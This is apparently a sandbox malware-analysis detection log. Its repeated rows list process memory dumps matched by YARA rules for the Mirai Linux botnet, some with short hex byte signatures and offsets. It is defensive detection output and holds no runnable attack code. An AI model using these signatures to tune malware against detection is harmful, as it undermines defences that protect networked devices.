6646.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6831.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6831.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6831.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6831.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6831.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6831.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7002.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6951.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6951.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6951.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6951.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6951.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6951.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7074.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7074.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7074.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7074.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7074.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7074.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6752.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6752.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6752.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6752.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6752.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6752.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7409.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7409.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7409.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7409.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7409.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7409.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7129.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7129.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7129.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7129.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7129.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7129.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7302.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7302.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7302.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7302.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7302.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7302.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6757.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6757.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6757.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6757.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6757.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6757.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6513.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6513.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6513.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6513.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6513.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6513.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6581.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6581.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6581.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6581.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6581.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6581.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7194.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7194.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7194.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7194.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7194.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7194.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7328.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7328.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7328.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7328.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7328.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7328.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6810.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6810.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6810.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6810.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6810.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6810.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6818.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6416.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6300.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6300.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6300.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6300.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6300.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6300.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6621.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6255.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6255.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6255.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6255.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6255.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6255.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6249.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6249.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6249.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7243.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6249.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6249.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6249.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7079.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7079.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7079.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7079.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7079.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7079.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6618.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6618.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6618.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6618.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6618.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6618.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7124.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7124.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7124.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7124.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7124.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7124.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6580.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6580.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6580.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6580.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6580.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6580.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6291.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6291.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6291.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6291.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6291.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6291.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7332.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7332.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7332.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7332.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7332.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7332.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6559.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6902.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6902.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6902.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6902.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6902.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6902.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6559.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6559.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6559.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6559.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6559.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6587.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6587.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6587.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6587.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6587.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6587.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6865.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7210.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7210.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7210.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7210.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7210.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7210.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7304.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7304.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7304.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7304.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7304.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7304.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6493.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6493.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
